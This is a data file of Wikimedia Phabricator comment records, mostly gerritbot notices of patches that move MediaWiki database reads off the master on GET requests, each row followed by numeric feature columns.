+[[https://gerrit.wikimedia.org/r/279452]]
+",,,1458852858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+635095,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279442 merged by jenkins-bot:
+Avoid master queries on GET requests for blocking
+
+[[https://gerrit.wikimedia.org/r/279442]]",,,1458851903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+635075,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279442 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on GET requests for blocking
+
+[[https://gerrit.wikimedia.org/r/279442]]
+",,,1458851044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+622671,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234173 merged by jenkins-bot:
+Use DB_SLAVE in TranslatablePage for GET request
+
+[[https://gerrit.wikimedia.org/r/234173]]",,,1457034358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,35,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+612988,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 269296 merged by jenkins-bot:
+Avoid master queries in Title::getLinksFrom()
+
+[[https://gerrit.wikimedia.org/r/269296]]",,,1455805881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+612981,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 269197 merged by jenkins-bot:
+Avoid DB master block table queries on view
+
+[[https://gerrit.wikimedia.org/r/269197]]",,,1455805503,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+605964,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 269296 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries in Title::getLinksFrom()
+
+[[https://gerrit.wikimedia.org/r/269296]]
+",,,1454967722,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,31,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+605852,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 269197 had a related patch set uploaded (by Aaron Schulz):
+Avoid DB master block table queries on view
+
+[[https://gerrit.wikimedia.org/r/269197]]
+",,,1454960836,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+587063,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1917100, @gerritbot wrote:
+> Change 261615 merged by jenkins-bot:
+> Move category refreshes to a deferred update
+> 
+> [[https://gerrit.wikimedia.org/r/261615]]
+
+If there are changes to what users observe, e.g. in purging or null editing, they should probably be documented at https://www.mediawiki.org/wiki/Manual:Purge or https://meta.wikimedia.org/wiki/Help:Dummy_edit .",,,1452089700,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,26,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+586929,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 261615 merged by jenkins-bot:
+Move category refreshes to a deferred update
+
+[[https://gerrit.wikimedia.org/r/261615]]",,,1452036350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,26,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+586926,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 261616 merged by jenkins-bot:
+Avoid calling Block::deleteIfExpired() when not needed
+
+[[https://gerrit.wikimedia.org/r/261616]]",,,1452036135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,26,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+585232,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 261616 had a related patch set uploaded (by Aaron Schulz):
+Avoid calling Block::deleteIfExpired() when not needed
+
+[[https://gerrit.wikimedia.org/r/261616]]
+",,,1451449776,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,25,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+585230,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 261615 had a related patch set uploaded (by Aaron Schulz):
+Move category refreshes to a deferred update
+
+[[https://gerrit.wikimedia.org/r/261615]]
+",,,1451449420,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+576231,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 257966 merged by jenkins-bot:
+resourceloader: Migrate from msg_resource table to object cache
+
+[[https://gerrit.wikimedia.org/r/257966]]",,,1449708319,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+575808,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 257966 had a related patch set uploaded (by Krinkle):
+resourceloader: Migrate from msg_resource table to object cache
+
+[[https://gerrit.wikimedia.org/r/257966]]
+",,,1449687586,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+575359,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 253656 merged by jenkins-bot:
+resourceloader: Migrate from msg_resource table to object cache
+
+[[https://gerrit.wikimedia.org/r/253656]]",,,1449627558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+573278,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 253656 had a related patch set uploaded (by Aaron Schulz):
+resourceloader: Remove use of msg_resource table, use object cache instead
+
+[[https://gerrit.wikimedia.org/r/253656]]
+",,,1449263966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,22,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+573164,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 255658 merged by jenkins-bot:
+Defer the redirect table update in WikiPage::insertRedirect()
+
+[[https://gerrit.wikimedia.org/r/255658]]",,,1449257407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,22,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+569196,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 255658 had a related patch set uploaded (by Aaron Schulz):
+Defer the redirect table update in WikiPage::insertRedirect()
+
+[[https://gerrit.wikimedia.org/r/255658]]
+",,,1448579873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,21,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+568883,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 205528 merged by jenkins-bot:
+Allow for CentralAuthUser::loadState() to generally use DB slaves
+
+[[https://gerrit.wikimedia.org/r/205528]]",,,1448513212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+567711,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Removing the ContentTranslation tag. If I understand correctly, what was relevant for ContentTranslaltion was done in T94480.
+
+If there is anything more to do about this bug here that is related to ContentTranslation, please create it as a separate task. Thanks.",,,1448361677,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,20,True,0,1,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+563982,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 252880 had a related patch set uploaded (by Aaron Schulz):
+[WIP] MessageBlobStore: Convert from msg_resource table to object cache
+
+[[https://gerrit.wikimedia.org/r/252880]]
+",,,1447735287,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+536572,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 205528 had a related patch set uploaded (by Aaron Schulz):
+Made CentralAuthUser::loadState() generally use DB slaves
+
+[[https://gerrit.wikimedia.org/r/205528]]
+",,,1443470381,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+533538,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234164 merged by jenkins-bot:
+Use DB slaves for Campaign reads on GET requests
+
+[[https://gerrit.wikimedia.org/r/234164]]",,,1443035234,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+532254,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 240035 merged by jenkins-bot:
+Defer the ApiTranslateUser::trackGroup saveSettings() call
+
+[[https://gerrit.wikimedia.org/r/240035]]",,,1442904971,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+532243,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 240035 had a related patch set uploaded (by Aaron Schulz):
+Defer the ApiTranslateUser::trackGroup saveSettings() call
+
+[[https://gerrit.wikimedia.org/r/240035]]
+",,,1442903912,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+532235,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 240022 merged by jenkins-bot:
+Defer the user update in enableCXBetaFeature()
+
+[[https://gerrit.wikimedia.org/r/240022]]",,,1442902923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+532158,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 240022 had a related patch set uploaded (by Aaron Schulz):
+Defer the user update in enableCXBetaFeature()
+
+[[https://gerrit.wikimedia.org/r/240022]]
+",,,1442881076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+531260,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 239767 merged by jenkins-bot:
+Defer the User::saveSettings call in getPreferences()
+
+[[https://gerrit.wikimedia.org/r/239767]]",,,1442836845,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+531199,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 239764 merged by Matthias Mullie:
+Defer the User::saveSettings() call in TopicListBlock
+
+[[https://gerrit.wikimedia.org/r/239764]]",,,1442829233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+531190,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237528 merged by jenkins-bot:
+Avoid master queries on image history view
+
+[[https://gerrit.wikimedia.org/r/237528]]",,,1442828441,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+531147,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 239764 had a related patch set uploaded (by Aaron Schulz):
+Defer the User::saveSettings() call in TopicListBlock
+
+[[https://gerrit.wikimedia.org/r/239764]]
+",,,1442813686,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+531146,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 239767 had a related patch set uploaded (by Aaron Schulz):
+Defer the User::saveSettings call in getPreferences()
+
+[[https://gerrit.wikimedia.org/r/239767]]
+",,,1442813679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+527938,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237531 merged by jenkins-bot:
+Also defer the markRead() master updates
+
+[[https://gerrit.wikimedia.org/r/237531]]",,,1442349290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525611,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 236996 merged by jenkins-bot:
+Defer ""lastuse"" preference updates
+
+[[https://gerrit.wikimedia.org/r/236996]]",,,1442005023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+524867,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237531 had a related patch set uploaded (by Aaron Schulz):
+Also defer the markRead() master updates
+
+[[https://gerrit.wikimedia.org/r/237531]]
+",,,1441926195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+524865,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237530 merged by jenkins-bot:
+Defer the ""seen time"" updates on GET requests
+
+[[https://gerrit.wikimedia.org/r/237530]]",,,1441925942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+524856,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237530 had a related patch set uploaded (by Aaron Schulz):
+Defer the ""seen time"" updates on GET requests
+
+[[https://gerrit.wikimedia.org/r/237530]]
+",,,1441925774,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+524848,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237528 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on image history view
+
+[[https://gerrit.wikimedia.org/r/237528]]
+",,,1441925290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
